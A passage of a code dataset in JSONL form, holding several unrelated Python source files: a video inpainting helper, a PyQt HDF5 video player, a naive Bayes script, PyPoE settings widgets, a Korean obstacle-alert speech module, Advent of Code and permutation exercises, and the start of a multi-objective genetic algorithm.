num_ref=args.num_ref)\n selected_imgs = imgs[:1, neighbor_ids + ref_ids, :, :, :]\n selected_masks = masks[:1, neighbor_ids + ref_ids, :, :, :]\n with torch.no_grad():\n masked_imgs = selected_imgs * (1 - selected_masks)\n mod_size_h = 60\n mod_size_w = 108\n h_pad = (mod_size_h - h % mod_size_h) % mod_size_h\n w_pad = (mod_size_w - w % mod_size_w) % mod_size_w\n masked_imgs = torch.cat(\n [masked_imgs, torch.flip(masked_imgs, [3])],\n 3)[:, :, :, :h + h_pad, :]\n masked_imgs = torch.cat(\n [masked_imgs, torch.flip(masked_imgs, [4])],\n 4)[:, :, :, :, :w + w_pad]\n pred_imgs, _ = inpaint_model(masked_imgs, len(neighbor_ids))\n pred_imgs = pred_imgs[:, :, :h, :w]\n pred_imgs = (pred_imgs + 1) / 2\n pred_imgs = pred_imgs.cpu().permute(0, 2, 3, 1).numpy() * 255\n for i in range(len(neighbor_ids)):\n idx = neighbor_ids[i]\n img = np.array(pred_imgs[i]).astype(\n np.uint8) * binary_masks[idx] + frames[idx] * (\n 1 - binary_masks[idx])\n if comp_frames[idx] is None:\n comp_frames[idx] = img\n else:\n comp_frames[idx] = comp_frames[idx].astype(\n np.float32) * 0.5 + img.astype(np.float32) * 0.5\n \n ret_frames = []\n for f in range(video_length):\n ret_frames.append(comp_frames[f].astype(np.uint8))\n\n return ret_frames\n","repo_name":"adityak77/rewards-from-human-videos","sub_path":"dvd/inpaint_utils.py","file_name":"inpaint_utils.py","file_ext":"py","file_size_in_byte":14180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"19963110517","text":"import sys\nimport tables\nimport os\nimport numpy as np\nimport copy\nfrom functools import partial\n\nfrom PyQt5 import QtWidgets, QtCore, QtGui\nfrom PyQt5.QtCore import Qt\nfrom .HDF5VideoPlayer_ui import Ui_HDF5VideoPlayer\n\ndef setChildrenFocusPolicy(obj, policy):\n # recursively change the focus policy of all the objects in the widgets\n def recursiveSetChildFocusPolicy(parentQWidget):\n for childQWidget in parentQWidget.findChildren(QtWidgets.QWidget):\n childQWidget.setFocusPolicy(policy)\n recursiveSetChildFocusPolicy(childQWidget)\n recursiveSetChildFocusPolicy(obj)\n\nclass LineEditDragDrop():\n def __init__(self, line_edit_obj, update_fun, test_file_fun):\n self.update_fun = update_fun\n self.test_file_fun = test_file_fun\n\n self.line_edit_obj = line_edit_obj\n self.line_edit_obj.setAcceptDrops(True)\n self.line_edit_obj.dragEnterEvent = self.dragEnterEvent\n self.line_edit_obj.dropEvent = self.dropEvent\n\n def dragEnterEvent(self, event):\n if event.mimeData().hasUrls:\n event.accept()\n else:\n event.ignore()\n\n def dropEvent(self, e):\n for url in e.mimeData().urls():\n vfilename = url.toLocalFile()\n if self.test_file_fun(vfilename):\n self.update_fun(vfilename)\n\n\nclass ViewsWithZoom():\n\n def __init__(self, view):\n self._view = view\n self._scene = QtWidgets.QGraphicsScene(self._view)\n self._view.setScene(self._scene)\n self._canvas = QtWidgets.QGraphicsPixmapItem()\n self._scene.addItem(self._canvas)\n\n self._zoom = 0\n self._view.wheelEvent = self.zoomWheelEvent\n\n # zoom wheel\n def zoomWheelEvent(self, event):\n if not self._canvas.pixmap().isNull():\n numPixels = event.pixelDelta()\n numDegrees = event.angleDelta() / 8\n\n delta = numPixels if not numPixels.isNull() else numDegrees\n\n if event.source() == 0:\n event_type = \"mouse\" # scroll wheels\n elif event.source() == 1:\n event_type = \"trackpad\" # anything OS-interpreted\n else:\n raise Exception(\"Unexpected event source in zoom.\")\n\n self.zoom(delta.y(), event_type)\n\n def zoom(self, zoom_direction, event_type):\n\n assert event_type in [\"mouse\", \"trackpad\", \"keypress\"]\n\n factor_zoomin = 1\n factor_zoomout = 1\n\n # Mouse scroll\n if event_type == \"mouse\":\n factor_zoomin *= 1.15\n factor_zoomout /= 1.15\n\n # Trackpad scroll\n elif event_type == \"trackpad\":\n factor_zoomin *= 1.05\n factor_zoomout /= 1.05\n\n # Keypress +/- scroll\n elif event_type == \"keypress\":\n factor_zoomin *= 1.15\n factor_zoomout /= 1.15\n\n if zoom_direction > 0:\n factor = factor_zoomin\n self._zoom += 1\n else:\n factor = factor_zoomout\n self._zoom -= 1\n\n # Zoom in/out scaling\n if self._zoom > 0:\n self._view.scale(factor, factor)\n # Fitting to view\n elif self._zoom == 0:\n self.zoomFitInView()\n # Resetting zoom\n else:\n self._zoom = 0\n self.zoomFitInView()\n\n def zoomFitInView(self):\n rect = QtCore.QRectF(self._canvas.pixmap().rect())\n if not rect.isNull():\n unity = self._view.transform().mapRect(QtCore.QRectF(0, 0, 1, 1))\n self._view.scale(1 / unity.width(), 1 / unity.height())\n viewrect = self._view.viewport().rect()\n scenerect = self._view.transform().mapRect(rect)\n factor = min(viewrect.width() / scenerect.width(),\n viewrect.height() / scenerect.height())\n self._view.scale(factor, factor)\n self._view.centerOn(rect.center())\n self._zoom = 0\n\n def cleanCanvas(self):\n self._canvas.setPixmap(QtGui.QPixmap())\n\n def setPixmap(self, frame_qimg=None):\n if frame_qimg is None:\n return\n\n pixmap = QtGui.QPixmap.fromImage(frame_qimg)\n self._canvas.setPixmap(pixmap)\n\nclass SimplePlayer(QtWidgets.QMainWindow):\n def __init__(self, ui):\n super().__init__()\n\n self.timer = QtCore.QTimer()\n self.timer.timeout.connect(self.getNextImage)\n self.ui = ui\n self.isPlay = False\n self.image_group = None\n\n\n def keyPressEvent(self, event):\n #HOT KEYS\n key = event.key()\n\n # Duplicate the frame step size (speed) when pressed > or .:\n if key == Qt.Key_Greater or key == Qt.Key_Period:\n self.frame_step *= 2\n self.ui.spinBox_step.setValue(self.frame_step)\n\n\n # Half the frame step size (speed) when pressed: < or ,\n elif key == Qt.Key_Less or key == Qt.Key_Comma:\n self.frame_step //= 2\n if self.frame_step < 1:\n self.frame_step = 1\n self.ui.spinBox_step.setValue(self.frame_step)\n\n\n # Move backwards when are pressed\n elif key == Qt.Key_Left:\n self.frame_number -= self.frame_step\n if self.frame_number < 0:\n self.frame_number = 0\n self.ui.spinBox_frame.setValue(self.frame_number)\n\n\n # Move forward when are pressed\n elif key == Qt.Key_Right:\n self.frame_number += self.frame_step\n if self.frame_number >= self.tot_frames:\n self.frame_number = self.tot_frames - 1\n self.ui.spinBox_frame.setValue(self.frame_number)\n\n #super().keyPressEvent(event)\n\n def playVideo(self):\n if self.image_group is None:\n return\n if not self.isPlay:\n self.startPlay()\n else:\n self.stopPlay()\n\n def startPlay(self):\n self.timer.start(round(1000 / self.fps))\n self.isPlay = True\n self.ui.playButton.setText('Stop')\n self.ui.doubleSpinBox_fps.setEnabled(False)\n\n def stopPlay(self):\n self.timer.stop()\n self.isPlay = False\n self.ui.playButton.setText('Play')\n self.ui.doubleSpinBox_fps.setEnabled(True)\n\n # Function to get the new valid frame during video play\n def getNextImage(self):\n self.frame_number += self.frame_step\n if self.frame_number >= self.tot_frames:\n self.frame_number = self.tot_frames - 1\n self.stopPlay()\n self.ui.spinBox_frame.setValue(self.frame_number)\n\n @property\n def fps(self):\n return self.ui.doubleSpinBox_fps.value()\n @fps.setter\n def fps(self, value):\n return self.ui.doubleSpinBox_fps.setValue(value)\n\n @property\n def frame_step(self):\n return self.ui.spinBox_step.value()\n\n @frame_step.setter\n def frame_step(self, value):\n return self.ui.spinBox_step.setValue(value)\n\nclass HDF5VideoPlayerGUI(SimplePlayer):\n\n def __init__(self, ui=None):\n if ui is None:\n ui = Ui_HDF5VideoPlayer()\n\n super().__init__(ui)\n\n # Set up the user interface from Designer.\n self.ui.setupUi(self)\n\n self.vfilename = None\n self.fid = None\n self.image_group = None\n self.isPlay = False\n self.videos_dir = ''\n self.h5path = None\n self.frame_img = None\n self.frame_qimg = None\n\n #default expected groups in the hdf5\n self.ui.comboBox_h5path.setItemText(0, \"/mask\")\n self.ui.comboBox_h5path.setItemText(1, \"/full_data\")\n\n self.ui.pushButton_video.clicked.connect(self.getVideoFile)\n self.ui.playButton.clicked.connect(self.playVideo)\n\n # set scroller\n sld_pressed = partial(self.ui.imageSlider.setCursor, QtCore.Qt.ClosedHandCursor)\n sld_released = partial(self.ui.imageSlider.setCursor, QtCore.Qt.OpenHandCursor)\n\n self.ui.imageSlider.sliderPressed.connect(sld_pressed)\n self.ui.imageSlider.sliderReleased.connect(sld_released)\n self.ui.imageSlider.valueChanged.connect(self.ui.spinBox_frame.setValue)\n #eliminate ticks, they will be a problem since I make the maximum size of the slider tot_frames\n self.ui.imageSlider.setTickPosition(QtWidgets.QSlider.NoTicks)\n\n #%%\n self.ui.spinBox_frame.valueChanged.connect(self.updateFrameNumber)\n self.ui.comboBox_h5path.activated.connect(self.getImGroup)\n self.ui.pushButton_h5groups.clicked.connect(self.updateGroupNames)\n\n\n # setup image view as a zoom\n self.mainImage = ViewsWithZoom(self.ui.mainGraphicsView)\n\n # let drag and drop a file into the video file line edit\n LineEditDragDrop(\n self.ui.lineEdit_video,\n self.updateVideoFile,\n os.path.isfile)\n\n # make sure the childrenfocus policy is none in order to be able to use\n # the arrow keys\n setChildrenFocusPolicy(self, QtCore.Qt.ClickFocus)\n\n def keyPressEvent(self, event):\n #HOT KEYS\n\n if self.fid is None:\n # break no file open, nothing to do here\n return\n\n key = event.key()\n if key == Qt.Key_Minus:\n self.mainImage.zoom(-1)\n elif key == Qt.Key_Plus:\n self.mainImage.zoom(1)\n\n super().keyPressEvent(event)\n\n # frame spin box\n def updateFrameNumber(self):\n self.frame_number = self.ui.spinBox_frame.value()\n self.ui.imageSlider.setValue(self.frame_number)\n self.updateImage()\n\n # update image: get the next frame_number, and resize it to fix in the GUI\n # area\n def updateImage(self):\n self.readCurrentFrame()\n self.mainImage.setPixmap(self.frame_qimg)\n\n def readCurrentFrame(self):\n if self.image_group is None:\n self.frame_qimg = None\n return\n self.frame_img = self.image_group[self.frame_number, :, :]\n self._normalizeImage()\n\n\n def _normalizeImage(self):\n if self.frame_img is None:\n return\n\n dd = self.ui.mainGraphicsView.size()\n self.label_height = dd.height()\n self.label_width = dd.width()\n\n # equalize and cast if it is not uint8\n if self.frame_img.dtype != np.uint8:\n top = np.max(self.frame_img)\n bot = np.min(self.frame_img)\n\n self.frame_img = (self.frame_img - bot) * 255. / (top - bot)\n self.frame_img = np.round(self.frame_img).astype(np.uint8)\n\n self.frame_qimg = self._convert2Qimg(self.frame_img)\n\n\n def _convert2Qimg(self, img):\n qimg = QtGui.QImage(\n img.data,\n img.shape[1],\n img.shape[0],\n img.strides[0],\n QtGui.QImage.Format_Indexed8)\n qimg = qimg.convertToFormat(\n QtGui.QImage.Format_RGB32, QtCore.Qt.AutoColor)\n\n return qimg\n\n # file dialog to the the hdf5 file\n def getVideoFile(self):\n vfilename, _ = QtWidgets.QFileDialog.getOpenFileName(\n self, \"Find HDF5 video file\", self.videos_dir, \"HDF5 files (*.hdf5);; All files (*)\")\n\n self.updateVideoFile(vfilename)\n\n def updateVideoFile(self, vfilename):\n # close the if there was another file opened before.\n if self.fid is not None:\n self.fid.close()\n self.mainImage.cleanCanvas()\n self.fid = None\n self.image_group = None\n\n self.vfilename = vfilename\n self.ui.lineEdit_video.setText(self.vfilename)\n self.videos_dir = self.vfilename.rpartition(os.sep)[0] + os.sep\n\n try:\n self.fid = tables.File(vfilename, 'r')\n except (IOError, tables.exceptions.HDF5ExtError):\n self.fid = None\n self.image_group = None\n QtWidgets.QMessageBox.critical(\n self,\n '',\n \"The selected file is not a valid .hdf5. Please select a valid file\",\n QtWidgets.QMessageBox.Ok)\n return\n\n self.getImGroup(0)\n\n def updateGroupNames(self):\n valid_groups = []\n for group in self.fid.walk_groups(\"/\"):\n for array in self.fid.list_nodes(group, classname='Array'):\n if array.ndim == 3:\n valid_groups.append(array._v_pathname)\n\n if not valid_groups:\n QtWidgets.QMessageBox.critical(\n self,\n '',\n \"No valid video groups were found. Dataset with three dimensions and uint8 data type. Closing file.\",\n QtWidgets.QMessageBox.Ok)\n self.fid.close()\n self.image_group = None\n self.mainImage.cleanCanvas()\n\n return\n\n self.ui.comboBox_h5path.clear()\n for kk in valid_groups:\n self.ui.comboBox_h5path.addItem(kk)\n self.getImGroup(0)\n self.updateImage()\n\n def getImGroup(self, index):\n self.h5path = self.ui.comboBox_h5path.itemText(index)\n self.updateImGroup(self.h5path)\n\n # read a valid groupset from the hdf5\n def updateImGroup(self, h5path):\n if self.fid is None:\n self.image_group = None\n return\n\n #self.h5path = self.ui.comboBox_h5path.text()\n if h5path not in self.fid:\n self.mainImage.cleanCanvas()\n QtWidgets.QMessageBox.critical(\n self,\n 'The groupset path does not exist',\n \"The groupset path does not exists. You must specify a valid groupset path\",\n QtWidgets.QMessageBox.Ok)\n self.image_group == None\n return\n\n self.image_group = self.fid.get_node(h5path)\n if len(self.image_group.shape) != 3:\n self.mainImage.cleanCanvas()\n QtWidgets.QMessageBox.critical(\n self,\n 'Invalid groupset',\n \"Invalid groupset. The groupset must have three dimensions\",\n QtWidgets.QMessageBox.Ok)\n self.image_group == None\n return\n\n self.tot_frames = self.image_group.shape[0]\n self.image_height = self.image_group.shape[1]\n self.image_width = self.image_group.shape[2]\n\n self.ui.spinBox_frame.setMaximum(self.tot_frames - 1)\n self.ui.imageSlider.setMaximum(self.tot_frames - 1)\n\n self.frame_number = 0\n self.ui.spinBox_frame.setValue(self.frame_number)\n self.updateImage()\n self.mainImage.zoomFitInView()\n\n def setFileName(self, filename):\n self.filename = filename\n self.ui.lineEdit.setText(filename)\n\n def resizeEvent(self, event):\n if self.fid is not None:\n self.updateImage()\n self.mainImage.zoomFitInView()\n\n\n\n def closeEvent(self, event):\n if self.fid is not None:\n self.fid.close()\n super(HDF5VideoPlayerGUI, self).closeEvent(event)\n\nif __name__ == '__main__':\n app = QtWidgets.QApplication(sys.argv)\n\n ui = HDF5VideoPlayerGUI()\n ui.show()\n\n sys.exit(app.exec_())\n","repo_name":"Tierpsy/EggCounting","sub_path":"eggcounting/count_eggs/HDF5VideoPlayer.py","file_name":"HDF5VideoPlayer.py","file_ext":"py","file_size_in_byte":15003,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"33249512966","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Mar 19 01:05:10 2022\nnaive bayes classifier\n@author: starg\n\"\"\"\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport dateutil\nfrom scipy.optimize import curve_fit\nimport numpy as np\n\n\ndef Gauss(x, A, B):\n y = A*np.exp(-1*B*x**2)\n return y\n\ndf = pd.read_csv('./data/intraday_5min_IBM.csv')\n\nopen_prices = df['open']\nclose_prices = df['close']\nprices = list(zip(open_prices,close_prices))\ntimes = list(df['timestamp'])\ntimes = list(map(lambda x: dateutil.parser.parse(x).timestamp(),times))\n\nparameters, covariance = curve_fit(Gauss, times, open_prices)\n\nfit_A = parameters[0]\nfit_B = parameters[1]\n\nfit_y = Gauss(times, fit_A, fit_B)\nplt.plot(times, open_prices, 'o', label='data')\nplt.plot(times, fit_y, '-', label='fit')\nplt.legend()\n\n\n\ndiff = list(map(lambda x: x[0]-x[1],prices))\n\nplt.plot(times, open_prices, 'g-')\nplt.plot(times, close_prices, 'r-')\n#plt.plot(times, diff, 'm-')\nplt.xlabel('time')\nplt.ylabel('open price')\nplt.show()\n\n\n \n\n\ndef separate_by_class(dataset):\n\tseparated = dict()\n\tfor i in range(len(dataset)):\n\t\tvector = dataset[i]\n\t\tclass_value = vector[-1]\n\t\tif (class_value not in separated):\n\t\t\tseparated[class_value] = list()\n\t\tseparated[class_value].append(vector)\n\treturn separated\n\n# Example of summarizing data by class value\nfrom math import sqrt\n\n# Split the dataset by class values, returns a dictionary\n\n\n# Calculate the mean of a list of numbers\ndef mean(numbers):\n\treturn sum(numbers)/float(len(numbers))\n\n# Calculate the standard deviation of a list of numbers\ndef stdev(numbers):\n\tavg = mean(numbers)\n\tvariance = sum([(x-avg)**2 for x in numbers]) / float(len(numbers)-1)\n\treturn sqrt(variance)\n\n# Calculate the mean, stdev and count for each column in a dataset\ndef summarize_dataset(dataset):\n\tsummaries = [(mean(column), stdev(column), len(column)) for column in zip(*dataset)]\n\tdel(summaries[-1])\n\treturn summaries\n\n# Split dataset by class then calculate statistics for each row\ndef summarize_by_class(dataset):\n\tseparated = separate_by_class(dataset)\n\tsummaries = dict()\n\tfor class_value, rows in separated.items():\n\t\tsummaries[class_value] = summarize_dataset(rows)\n\treturn summaries\n\n# Test summarizing by class\ndataset = [[3.393533211,2.331273381,0],\n\t[3.110073483,1.781539638,0],\n\t[1.343808831,3.368360954,0],\n\t[3.582294042,4.67917911,0],\n\t[2.280362439,2.866990263,0],\n\t[7.423436942,4.696522875,1],\n\t[5.745051997,3.533989803,1],\n\t[9.172168622,2.511101045,1],\n\t[7.792783481,3.424088941,1],\n\t[7.939820817,0.791637231,1]]\nsummary = summarize_by_class(dataset)\nfor label in summary:\n\tprint(label)\n\tfor row in summary[label]:\n\t\tprint(row)","repo_name":"JordanTPhysics/BullStock","sub_path":"Machine Learning/naivebayes.py","file_name":"naivebayes.py","file_ext":"py","file_size_in_byte":2635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"3083056638","text":"#小鱼.py\r\n\r\nimport random\r\n\r\nclass Fish :\r\n\r\n def __init__(self) :\r\n self.x = random.randint(1,20)\r\n self.y = random.randint(1,15)\r\n def bgSwim(self):\r\n self.x = self.x + 1\r\n self.y = self.y - 1\r\n print(\"此时的位置为:\", self.x,\"--\", self.y)\r\n\r\nfish = Fish()\r\nprint(\"此时的位置为:\", fish.x, \"--\", fish.y)\r\nfish.bgSwim()\r\n","repo_name":"Prometheus1969/Freshman-Year2-Python","sub_path":"小鱼.py","file_name":"小鱼.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"23651001169","text":"\"\"\"\nSetting menu related things\n\nOverview\n===============================================================================\n\n+----------+------------------------------------------------------------------+\n| Path | PyPoE/ui/shared/settings.py |\n+----------+------------------------------------------------------------------+\n| Version | 1.0.0a0 |\n+----------+------------------------------------------------------------------+\n| Revision | $Id: e352df3620568de99b002ad891e52dffda6772de $ |\n+----------+------------------------------------------------------------------+\n| Author | Omega_K2 |\n+----------+------------------------------------------------------------------+\n\nDescription\n===============================================================================\n\n\n\nAgreement\n===============================================================================\n\nSee PyPoE/LICENSE\n\nDocumentation\n===============================================================================\n\nPublic API\n-------------------------------------------------------------------------------\n\nInternal API\n-------------------------------------------------------------------------------\n\"\"\"\n\n# =============================================================================\n# Imports\n# =============================================================================\n\n# Python\n\n# 3rd-party\nfrom PySide2.QtCore import *\nfrom PySide2.QtWidgets import *\n\n# self\n\n# =============================================================================\n# Globals\n# =============================================================================\n\n__all__ = ['SettingsWindow', 'SettingFrame', 'Setting', 'BoolSetting']\n\n# =============================================================================\n# Classes\n# =============================================================================\n\n\nclass SettingsWindow(QDialog):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.action_open = QAction(self, text=self.tr('Settings'))\n self.action_open.setStatusTip(self.tr(\n 'Opens the settings window'\n ))\n self.action_open.triggered.connect(self._action_open)\n\n self.setWindowTitle(self.tr('Settings'))\n\n self.base_layout = QHBoxLayout()\n self.setLayout(self.base_layout)\n\n self.section_list = QListView(parent=self)\n self.section_list.setMovement(QListView.Static)\n self.section_list.setEditTriggers(QAbstractItemView.NoEditTriggers)\n # TODO: IDK how to capture keyboard selections.\n self.section_list.pressed.connect(self._selected)\n self.base_layout.addWidget(self.section_list)\n\n self.frame = QFrame(parent=self)\n self.frame.setMinimumHeight(300)\n self.frame.setMinimumWidth(500)\n self.base_layout.addWidget(self.frame)\n\n self.layout = QVBoxLayout()\n self.frame.setLayout(self.layout)\n\n self.current_frame = None\n\n self.sections = []\n self.changed = True\n\n def _selected(self, index):\n if not index.isValid():\n return\n\n if self.current_frame:\n self.layout.removeWidget(self.current_frame)\n\n self.layout.addWidget(self.sections[index.row()]['frame'])\n self.current_frame = self.sections[index.row()]['frame']\n\n def add_config_section(self, tr, qframe, order=0):\n self.sections.append({\n 'text': tr,\n 'frame': qframe,\n 'order': order,\n })\n self.changed = True\n\n def _action_open(self):\n if self.changed:\n self.sections.sort(key=lambda x: x['order'])\n model = QStringListModel()\n model.setStringList([row['text'] for row in self.sections])\n self.section_list.setModel(model)\n self.section_list.setSelectionMode(\n QAbstractItemView.SingleSelection\n )\n self.changed = False\n\n self.exec_()\n\n\nclass SettingFrame(QFrame):\n KEY = NotImplemented\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.settings = {}\n\n def _add_setting(self, setting):\n self.settings[setting.KEY] = setting\n\n def __getattr__(self, item):\n try:\n return self.settings[item].value\n except KeyError:\n raise AttributeError\n\n\nclass BaseSetting:\n KEY = NotImplemented\n DEFAULT = NotImplemented\n\n def __init__(self, parent, settings, *args, **kwargs):\n self.parent = parent\n self.settings = settings\n self.value = self.get()\n\n def setting_path(self):\n return '/'.join(\n (self.parent.KEY, self.KEY)\n )\n\n def _get_cast(self, value):\n raise NotImplementedError\n\n def _set_cast(self, value):\n raise NotImplementedError\n\n def get(self):\n v = self.settings.value(self.setting_path())\n\n if v is None:\n return self.DEFAULT\n\n return self._get_cast(v)\n\n def set(self, value=None):\n if value is None:\n value = self.value\n\n self.settings.setValue(\n self.setting_path(),\n self._set_cast(value),\n )\n\n\nclass BoolSetting(BaseSetting):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.checkbox = QCheckBox()\n self.checkbox.setChecked(self.value)\n self.checkbox.stateChanged.connect(self._update)\n\n def _get_cast(self, value):\n return bool(int(value))\n\n def _set_cast(self, value):\n return str(int(value))\n\n def _update(self, state):\n if state == Qt.Unchecked:\n self.value = False\n elif state == Qt.Checked:\n self.value = True\n else:\n raise ValueError('Invalid Qt::CheckState')\n\n self.set()\n\n\nclass ComboBoxSetting(BaseSetting):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.combobox = QComboBox()\n self.combobox.setEditable(False)\n self.combobox.currentIndexChanged.connect(self._update)\n self.data = {}\n\n def _set_data(self, data):\n v = self.value\n self.data = data\n for i, (text, value) in enumerate(data.items()):\n self.combobox.addItem(text)\n if value == v:\n self.combobox.setCurrentIndex(i)\n\n def _update(self, value):\n self.value = self.data[self.combobox.itemText(value)]\n self.set(self.value)\n# =============================================================================\n# Functions\n# =============================================================================\n","repo_name":"OmegaK2/PyPoE","sub_path":"PyPoE/ui/shared/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":6822,"program_lang":"python","lang":"en","doc_type":"code","stars":235,"dataset":"github-code","pt":"72"}
+{"seq_id":"38237461611","text":"# pip install pyttsx3\n# pip install playsound == 1.2.2\n\nimport playsound\nimport pyttsx3\n\n\nclass Alarm:\n\n def speak(self, text):\n engine = pyttsx3.init()\n engine.setProperty('rate', 250)\n engine.setProperty('volume', 1)\n engine.say(text)\n engine.runAndWait()\n\n def transform_obj(self, classes):\n c = '장애물'\n if classes == 0:\n c = '사람'\n elif classes == 1:\n c = '전봇대'\n elif classes == 2:\n c = '기둥'\n elif classes == 3:\n c = '가로수'\n elif classes == 4:\n c = '차량'\n elif classes == 5:\n c = '신호등'\n elif classes == 6:\n c = '트럭'\n elif classes == 7:\n c = '버스'\n elif classes == 8:\n c = '표지판'\n elif classes == 9:\n c = '오토바이'\n elif classes == 10:\n c = '표지판'\n elif classes == 11:\n c = '화분'\n elif classes == 12:\n c = '휠체어'\n return c\n\n def transform_dist(self, direction):\n d = \"방향\"\n if direction[0] and direction[1] and (not direction[2]):\n d = \"좌측 전방에\"\n elif (not direction[0]) and direction[1] and direction[2]:\n d = \"우측 전방에\"\n elif (not direction[0]) and (not direction[1]) and direction[2]:\n d = \"우측에\"\n elif (not direction[0]) and direction[1] and (not direction[2]):\n d = \"전방에\"\n elif direction[0] and (not direction[1]) and (not direction[2]):\n d = \"좌측에\"\n elif direction[0] and direction[1] and direction[2]:\n d = \"전방위에\"\n return d\n\n def runmodule(self, classes, direction, danger):\n if danger == 0:\n self.speak(\"알림 안함\")\n elif classes == -1:\n playsound.playsound('beep.wav')\n self.speak(\"도로 이탈 주의\")\n elif classes == -2:\n playsound.playsound('beep.wav')\n self.speak(\"전방에\" + \",,\" + \"횡단보도\")\n else:\n d = self.transform_dist(direction)\n c = self.transform_obj(classes)\n playsound.playsound('beep.wav')\n self.speak(d + \",,\" + c)\n\n def loadspeak(self):\n engine = pyttsx3.init()\n engine.setProperty('rate', 150)\n engine.setProperty('volume', 1)\n engine.say(\"준비가 되었습니다. 보행을 시작해주세요.\")\n engine.runAndWait()\n\n def __init__(self):\n self.loadspeak()","repo_name":"CSID-DGU/2022-1-OSSP2-cane-10","sub_path":"alarmmodule/alarmmodule.py","file_name":"alarmmodule.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"11491894509","text":"from typing import List\n\n\nclass Solution:\n # @param A : list of integers\n # @return a list of list of integers\n def permute(self, A: List):\n answer = []\n li = [ele for ele in A]\n self.permute_rec(A, answer, li)\n return answer\n\n def permute_rec(self, A: List, ans, li, si=0):\n if si == len(A) - 1:\n ans.append(li.copy())\n return\n for i in range(si, len(A)):\n li[i], li[si] = li[si], li[i]\n self.permute_rec(A, ans, li, si=si+1)\n li[i], li[si] = li[si], li[i]\n\n return\n\n\nif __name__ == \"__main__\":\n s = Solution()\n A = [1, 2, 3]\n print(s.permute(A))\n","repo_name":"akashdeep3194/Scaler","sub_path":"d75/Permutations.py","file_name":"Permutations.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"73836045674","text":"class Solution:\n\tdef __init__(self, filename):\n\t\tself.instructions = self.ReadInstructions(filename)\n\t\tself.signalStrengths = self.CalcSumOfSignalStrength()\n\t\tself.SumOfSignalStrengths = sum([signal[0]*signal[1] for signal in self.signalStrengths])\n\n\tdef ReadInstructions(self, filename):\n\t\tinstructions = []\n\t\twith open(filename, 'r') as f:\n\t\t\tfor instruction in f:\n\t\t\t\tins = instruction.split()\n\t\t\t\tif len(ins) != 1:\n\t\t\t\t\tcmd, val = ins\n\t\t\t\t\tinstructions.append([cmd, int(val)])\n\t\t\t\telse:\n\t\t\t\t\tinstructions.append([ins[0], 0])\n\n\t\treturn instructions\n\n\tdef print(self, cycle, register):\n\t\tprint(f'Cycle: {cycle} >> Register: {register}')\n\n\tdef CheckCycle(self, cycleNo):\n\t\tcycleChecks = [20,60,100,140,180,220]\n\n\t\tif cycleNo in cycleChecks:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\n\tdef CalcSumOfSignalStrength(self):\n\t\tsignalStrengths = []\n\t\tregister = [1]\n\t\tcycle = 0\n\n\t\tfor ins in self.instructions:\n\t\t\tcmd, val = ins\n\n\t\t\tif cmd == 'addx':\n\t\t\t\tcycle += 1\n\t\t\t\tif self.CheckCycle(cycle):\n\t\t\t\t\tsignalStrengths.append([cycle, sum(register)])\n\t\t\t\tcycle += 1\n\t\t\t\tif self.CheckCycle(cycle):\n\t\t\t\t\tsignalStrengths.append([cycle, sum(register)])\n\t\t\t\tregister.append(val)\n\t\t\telif cmd == 'noop':\n\t\t\t\tcycle += 1\n\t\t\t\tif self.CheckCycle(cycle):\n\t\t\t\t\tsignalStrengths.append([cycle, sum(register)])\n\t\t\telse:\n\t\t\t\tprint(f'Didnt acount for this command >> {ins}')\n\n\n\t\treturn signalStrengths\n\n\n\n\n\ndef main():\n\t#s = Solution('example.txt')\n\ts = Solution('input.txt')\n\n\tprint(f'Part 1, list of signal strengths: {s.signalStrengths}')\n\tprint(f' Sum of signal strengths {s.SumOfSignalStrengths}')\n\n\n\n\nif __name__ == '__main__': main()","repo_name":"LindAndersen/AdventOfCode","sub_path":"2022/Day10/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"19190650210","text":"import numpy as np \nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set_style('whitegrid')\nfrom matplotlib import animation\n\n# function to optimize\n# from \n# http://www.mathworks.com/help/gads/using-gamultiobj.html?refresh=true\ndef mymulti1(x):\n f1 = x[0]**4 - 10*x[0]**2+x[0]*x[1] + x[1]**4 -(x[0]**2)*(x[1]**2);\n f2 = x[1]**4 - (x[0]**2)*(x[1]**2) + x[0]**4 + x[0]*x[1];\n return np.array([f1,f2])\n\nub = 5\nlb = -5\n\nd = 2 # dimension of decision variable space\nnum_obj = 2\ns = 0.2 # stdev of normal noise (if this is too big, it's just random search!)\n\nm = 18\nl = 100 # beware \"lambda\" is a reserved keyword\nmax_gen = 100 # should be a multiple\n\n# ASSUMES MINIMIZATION\n# a dominates b if it is <= in all objectives and < in at least one\ndef dominates(a,b):\n return (np.all(a <= b) and np.any(a < b))\n\n# select 1 parent from population P\n# (Luke Algorithm 99 p.138)\ndef binary_tournament(P,f):\n ix = np.random.randint(0,P.shape[0],2)\n a,b = f[ix[0]], f[ix[1]]\n if dominates(a,b):\n return P[ix[0]]\n elif dominates(b,a):\n return P[ix[1]]\n else:\n return P[ix[0]] if np.random.rand() < 0.5 else P[ix[1]]\n\ndef mutate(x, lb, ub, sigma):\n return np.clip(x + np.random.normal(0,s,d), lb, ub)\n\n# assumes minimization\n# return only the nondominated members of A+P\n# solution by Mohamed 